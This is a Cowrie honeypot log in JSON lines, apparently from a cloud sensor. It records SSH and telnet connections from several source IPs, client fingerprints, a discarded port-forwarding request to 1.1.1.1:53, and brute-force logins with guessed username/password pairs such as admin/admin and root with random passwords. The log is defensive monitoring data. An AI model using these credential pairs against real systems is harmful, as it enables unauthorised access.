{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:51:16.434495Z","src_ip":"87.251.64.176","session":"f600d73aefe6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:51:16.535921Z","session":"f600d73aefe6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:51:16.634649Z","src_ip":"87.251.64.176","session":"f600d73aefe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:51:16.734867Z","src_ip":"87.251.64.176","session":"f600d73aefe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53058,"dst_ip":"10.17.0.5","dst_port":22,"session":"edc4be261c9f","protocol":"ssh","message":"New connection: 193.32.162.145:53058 (10.17.0.5:22) [session: edc4be261c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:52:12.442357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:52:12.447819Z","src_ip":"193.32.162.145","session":"edc4be261c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:52:12.550557Z","src_ip":"193.32.162.145","session":"edc4be261c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123solana","message":"login attempt [ubuntu/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:52:12.854831Z","src_ip":"193.32.162.145","session":"edc4be261c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:52:13.972522Z","src_ip":"193.32.162.145","session":"edc4be261c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":18131,"dst_ip":"10.17.0.5","dst_port":23,"session":"26f732fbf7fa","protocol":"telnet","message":"New connection: 212.55.149.117:18131 (10.17.0.5:23) [session: 26f732fbf7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:01.813636Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":47880,"dst_ip":"10.17.0.5","dst_port":22,"session":"a134f3b55b67","protocol":"ssh","message":"New connection: 186.233.184.67:47880 (10.17.0.5:22) [session: a134f3b55b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.389780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.395011Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.438860Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:d8:27:43:c0:83:c4:01:e4:52:e9:8d:69:8f:e4:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn9Qu3YguyIVl/fgtlrk2mwsHqes3Un0LNCuo9SXy0b1FM+KQnD7dRWrxw9SDUwkBNEGoFkie4rLHPTVUvYZ4PYRlZLSFL0yhdgvLZqC/gen9ZayAIhzcnczR54AgfeqicMRik2fHTEuBkOBS4dog/1NDJqJIM+gLgYEpFm+0yygiDPB2EFnGdldJUt3nM9sIfR7HM3+nvy35FQcL1mKyj/FKMWUnmGXBNhehiqR1BVEGjPf5DWozFnjlJ30sCQetqhu+jd+EBbQA81kSfY593FYh1U3Q6xUx63OzbNW6v3oM+tcT3W9f3Y2fGziTcJ8JnIsfbbMLvB6BXd4iZPeOT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:d8:27:43:c0:83:c4:01:e4:52:e9:8d:69:8f:e4:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.613891Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:d8:27:43:c0:83:c4:01:e4:52:e9:8d:69:8f:e4:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn9Qu3YguyIVl/fgtlrk2mwsHqes3Un0LNCuo9SXy0b1FM+KQnD7dRWrxw9SDUwkBNEGoFkie4rLHPTVUvYZ4PYRlZLSFL0yhdgvLZqC/gen9ZayAIhzcnczR54AgfeqicMRik2fHTEuBkOBS4dog/1NDJqJIM+gLgYEpFm+0yygiDPB2EFnGdldJUt3nM9sIfR7HM3+nvy35FQcL1mKyj/FKMWUnmGXBNhehiqR1BVEGjPf5DWozFnjlJ30sCQetqhu+jd+EBbQA81kSfY593FYh1U3Q6xUx63OzbNW6v3oM+tcT3W9f3Y2fGziTcJ8JnIsfbbMLvB6BXd4iZPeOT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.617985Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:36:84:ef:23:fc:dc:1d:7c:92:d9:48:46:2d:9d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrn2zPIV2OhvxwLTpfN1TFP92h+b1qerzL6n+ZbJM0p4OXfTP/0xc5lMpY+IXbuba03iEufLH0xm0QdDrdLiScb/bkz2oDnxPejGylIRMjpIGs6WYSlhM3/doKVgwuWfOf7/llBaEDpUoYXiozmTtDJ0w/WecDhxrMmY0SR9VprRefHJQqj0Ymmj0WBDt39qjs2Bb3J8qkNvbFZxbtte9DkiQkc86plABuXewSsLjZKx9lWhNYTNDuu1X29zlrkf/pVwjHNXX1bobEB8UaeKfMRPUviWYPm9vvJDeK73TfHsW4w9q4ZLeh3si02HnGzGJcWYNpryqfrKo2/WIRXIvDEuARAAaEv9IRYoB8jyZ5x2HpWLg4bV/SxNfVY+xgfJvnIBKn7tV0U8gEntpZ+MJZcYkrkhqAqddYGpoy8WMYA4pGsfh6vHRyJh70JWBn5DASzINAAm4MsyUPPpyM7pUlX+cLK1TqnQ8uPsExt4SXBP/6De/JFV9kxF9MsTaiXEs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:36:84:ef:23:fc:dc:1d:7c:92:d9:48:46:2d:9d:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.661127Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:36:84:ef:23:fc:dc:1d:7c:92:d9:48:46:2d:9d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrn2zPIV2OhvxwLTpfN1TFP92h+b1qerzL6n+ZbJM0p4OXfTP/0xc5lMpY+IXbuba03iEufLH0xm0QdDrdLiScb/bkz2oDnxPejGylIRMjpIGs6WYSlhM3/doKVgwuWfOf7/llBaEDpUoYXiozmTtDJ0w/WecDhxrMmY0SR9VprRefHJQqj0Ymmj0WBDt39qjs2Bb3J8qkNvbFZxbtte9DkiQkc86plABuXewSsLjZKx9lWhNYTNDuu1X29zlrkf/pVwjHNXX1bobEB8UaeKfMRPUviWYPm9vvJDeK73TfHsW4w9q4ZLeh3si02HnGzGJcWYNpryqfrKo2/WIRXIvDEuARAAaEv9IRYoB8jyZ5x2HpWLg4bV/SxNfVY+xgfJvnIBKn7tV0U8gEntpZ+MJZcYkrkhqAqddYGpoy8WMYA4pGsfh6vHRyJh70JWBn5DASzINAAm4MsyUPPpyM7pUlX+cLK1TqnQ8uPsExt4SXBP/6De/JFV9kxF9MsTaiXEs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.664693Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:be:39:76:f5:d4:b6:ba:39:da:8e:ce:11:0d:f2:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSBXH5HIbCRg316hCDRlMNemkkzecFLqHMSz/jvV06U4TW9yBMUEYq4SJ44ynpVC7eQQprLVBBUAr57Y9jtfHEKQAmvVa+s+bnB+SpM9XXvqMLrxSMvfmo3xQjS8py6hXQXxPxJ1SLtc5h2dDGudJWL3xhZPFb3ZDQjGNniBoaskuaFxlU6JoFmfoBDvr0z899KB3afusjxciuzocyzDVrIWxo7p/nMDsLulMyfV//yfyk1/hiZ7HWUcn8bopCckscCwySS2kTnIMDHeIDeqKRuXL99L6h8Ng2A0IgAIyQdqHyUylf0VPfZXqMhRu0Y88Xo1zuHrn/t1TUsqwD5oSx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:be:39:76:f5:d4:b6:ba:39:da:8e:ce:11:0d:f2:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.704727Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:be:39:76:f5:d4:b6:ba:39:da:8e:ce:11:0d:f2:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSBXH5HIbCRg316hCDRlMNemkkzecFLqHMSz/jvV06U4TW9yBMUEYq4SJ44ynpVC7eQQprLVBBUAr57Y9jtfHEKQAmvVa+s+bnB+SpM9XXvqMLrxSMvfmo3xQjS8py6hXQXxPxJ1SLtc5h2dDGudJWL3xhZPFb3ZDQjGNniBoaskuaFxlU6JoFmfoBDvr0z899KB3afusjxciuzocyzDVrIWxo7p/nMDsLulMyfV//yfyk1/hiZ7HWUcn8bopCckscCwySS2kTnIMDHeIDeqKRuXL99L6h8Ng2A0IgAIyQdqHyUylf0VPfZXqMhRu0Y88Xo1zuHrn/t1TUsqwD5oSx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.708545Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:12:9d:7d:f0:3f:1a:20:54:2a:46:7e:cf:cf:e2:dd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExe0Bz9SGbd0GVT2UPsw7uSaAPhNR4jhLAV5txOG4R4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8d:12:9d:7d:f0:3f:1a:20:54:2a:46:7e:cf:cf:e2:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.749589Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:12:9d:7d:f0:3f:1a:20:54:2a:46:7e:cf:cf:e2:dd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExe0Bz9SGbd0GVT2UPsw7uSaAPhNR4jhLAV5txOG4R4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.754040Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:d6:30:68:07:e6:b9:55:da:04:54:ec:d3:8e:39:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdi6O4sEp7mwxSaNqM6bmRUBauK1ag3URDAiCuq/QsXLZX7ijr2gon5a7lf9IquQ4vcaDTWX44whL2Gfqwd+lCDSyfiGEf25q0ue9x8I4w31wuZJn2ZF1gkSKkQ/vjQ/RUdULzGMj4NByovOPVZRcZ9b9Rb9wNaaiqjyAi7295CIUdJerjIHjgr5/KgT/czak6/qmOFBTlSkEE2pCC4TW/8wB20WPFp4qqtloHyzAEkEnh1Rm/k0YEXkjMcBqM3urL1yLrfxYjQxyvnZmXPQcdGJJ7lVGU1JXBdGUXyomLr3IVuEhaFmoPGuMWWotvMm6ZEu8ZPPZOYyOHOSgpZjx1vjrqN289Alxhx40CuEIkrvQRnTpqxVoc282Aqtpp3xqRdJJOO9Rv8WjSWTC6+G+pRZgzrYPE0VezfkUw9wEPFK32bSx8C3FVjy9VkCUpFppfwFw1XJgZXQa3b7lsk6f8HUNbm6lpSy0/qSBMQi4jp6k7a4JX7haxlLvQoJnmBKIgOlf2Ifaok/75OO2C2gPK+ubIfFIkvrzAdWBfWJFdWIvJNvywIQlVxFJvZv4fkk4jYfP5ActYaMFbFHy5rIdxltoHRI+tT3INhNbqaq9p8YVN07nc/lYMt5LBEjrYInXywo/uXhbFuG1XyTTuRpMx1EYRyv3YljPMwVn0xclK7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:d6:30:68:07:e6:b9:55:da:04:54:ec:d3:8e:39:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.795077Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:d6:30:68:07:e6:b9:55:da:04:54:ec:d3:8e:39:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdi6O4sEp7mwxSaNqM6bmRUBauK1ag3URDAiCuq/QsXLZX7ijr2gon5a7lf9IquQ4vcaDTWX44whL2Gfqwd+lCDSyfiGEf25q0ue9x8I4w31wuZJn2ZF1gkSKkQ/vjQ/RUdULzGMj4NByovOPVZRcZ9b9Rb9wNaaiqjyAi7295CIUdJerjIHjgr5/KgT/czak6/qmOFBTlSkEE2pCC4TW/8wB20WPFp4qqtloHyzAEkEnh1Rm/k0YEXkjMcBqM3urL1yLrfxYjQxyvnZmXPQcdGJJ7lVGU1JXBdGUXyomLr3IVuEhaFmoPGuMWWotvMm6ZEu8ZPPZOYyOHOSgpZjx1vjrqN289Alxhx40CuEIkrvQRnTpqxVoc282Aqtpp3xqRdJJOO9Rv8WjSWTC6+G+pRZgzrYPE0VezfkUw9wEPFK32bSx8C3FVjy9VkCUpFppfwFw1XJgZXQa3b7lsk6f8HUNbm6lpSy0/qSBMQi4jp6k7a4JX7haxlLvQoJnmBKIgOlf2Ifaok/75OO2C2gPK+ubIfFIkvrzAdWBfWJFdWIvJNvywIQlVxFJvZv4fkk4jYfP5ActYaMFbFHy5rIdxltoHRI+tT3INhNbqaq9p8YVN07nc/lYMt5LBEjrYInXywo/uXhbFuG1XyTTuRpMx1EYRyv3YljPMwVn0xclK7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.800302Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:08.840961Z","src_ip":"186.233.184.67","session":"a134f3b55b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44468,"dst_ip":"10.17.0.5","dst_port":22,"session":"c77a8ddeb2a1","protocol":"ssh","message":"New connection: 193.32.162.145:44468 (10.17.0.5:22) [session: c77a8ddeb2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:28.874453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:28.879627Z","src_ip":"193.32.162.145","session":"c77a8ddeb2a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:28.985523Z","src_ip":"193.32.162.145","session":"c77a8ddeb2a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123solana","message":"login attempt [solana/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:29.301765Z","src_ip":"193.32.162.145","session":"c77a8ddeb2a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:30.410145Z","src_ip":"193.32.162.145","session":"c77a8ddeb2a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57434,"dst_ip":"10.17.0.5","dst_port":22,"session":"cab52cd1b97c","protocol":"ssh","message":"New connection: 103.15.226.202:57434 (10.17.0.5:22) [session: cab52cd1b97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:37.337232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:37.341687Z","src_ip":"103.15.226.202","session":"cab52cd1b97c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:37.588860Z","src_ip":"103.15.226.202","session":"cab52cd1b97c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dLVsPH72mrcur9uJ","message":"login attempt [root/dLVsPH72mrcur9uJ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:38.331388Z","src_ip":"103.15.226.202","session":"cab52cd1b97c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:39.581442Z","src_ip":"103.15.226.202","session":"cab52cd1b97c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":35511,"dst_ip":"10.17.0.5","dst_port":23,"session":"f982cb906bee","protocol":"telnet","message":"New connection: 212.55.149.117:35511 (10.17.0.5:23) [session: f982cb906bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:54:56.504919Z"}
